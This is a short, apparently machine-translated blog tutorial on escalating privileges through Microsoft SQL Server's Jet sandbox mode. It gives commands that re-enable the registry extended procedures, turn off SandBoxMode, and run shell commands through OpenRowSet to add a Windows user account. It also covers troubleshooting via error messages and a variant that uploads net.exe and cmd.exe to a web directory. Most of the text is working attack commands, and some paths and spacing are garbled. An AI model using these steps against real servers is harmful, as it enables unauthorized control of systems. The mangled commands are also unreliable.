Summary of MSSQL sandbox mode Elevation of Privilege

Restore the read/write storage of the Registry.
Dbcc addextendedproc (xp_regread, xpstar. dll)
Dbcc addextendedproc (xp_regwrite, xpstar. dll)

Fixed the sandbox protection mode.
Exec master.. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftJet4.0Engines, SandBoxMode, REG_DWORD, 0 ;--
Check whether the SandBoxMode value has changed to 0.
Exec master. dbo. xp_regread HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftJet4.0Engines, SandBoxMode

Finally, the sandbox mode is called.
Select * From OpenRowSet (Microsoft. Jet. OLEDB.4.0,; Database = c: windowssystem32iasias. mdb, select shell ("net user itpro gmasfm/add "));
1. If the sandbox protection mode is not "disabled", an error is returned:
Server: Message 7357, level 16, status 2, Row 1
The select shell ("cmd.exe/c net user passwd/add") object cannot be processed "). Ole db Provider microsoft. jet. oledb.4.0 indicates that this object does not contain any columns.
Ole db error Tracking [Non-interface error: ole db provider unable to process object, since the object has no columnsProviderName = microsoft. jet. oledb.4.0, Query = select shell ("cmd.exe/c net user passwd/add")].

2. If. mdb does not exist or the input path is incorrect
Server: Message 7399, level 16, status 1, Row 1
The ole db Provider microsoft. jet. oledb.4.0 reports an error.
[OLE/DB provider returned message: the file C: WINDOWSsystem32iasdnary1. mdb is not found.]
Ole db Error Tracking [OLE/DB Provider microsoft. jet. oledb.4.0 IDBInitialize: Initialize returned 0x80004005:].

3. If some spaces are added during the input, an error is returned. Pay special attention to this. Many people directly copy and paste articles online for execution.
Server: Message 7357, level 16, status 2, Row 1
The select shell ("cmd.exe/c net user passwd/add") object cannot be processed "). Ole db Provider microsoft. jet. oledb.4.0 indicates that this object does not contain any columns.
Ole db error Tracking [Non-interface error: ole db provider unable to process object, since the object has no columnsProviderName = microsoft. jet. oledb.4.0, Query = select shell ("cmd.exe/c net user passwd/add")].

4.if the mdbpermission and cmd.exe permission are incorrect, the problem also occurs.
When the mdb permission is incorrect,
Server: Message 7320, level 16, status 2, Row 1
Failed to query ole db Provider Microsoft. Jet. OLEDB.4.0.
[OLE/DB provider returned message: Unknown]
Ole db Error Tracking [OLE/DB Provider Microsoft. Jet. OLEDB.4.0 ICommandText: Execute returned 0x80040e14].

5. If the net permission is incorrect, there is no prompt.
The final authorization method uploads the system's ias.mdband ipv.exe, and net.exe files under the current web directory. Run
Select * from openrowset (microsoft. jet. oledb.4.0,; database = E: weias. mdb, select shell ("E: website.exe/c E: webet.exe user passwd/add "))
A computer user is added.

From: zgg Space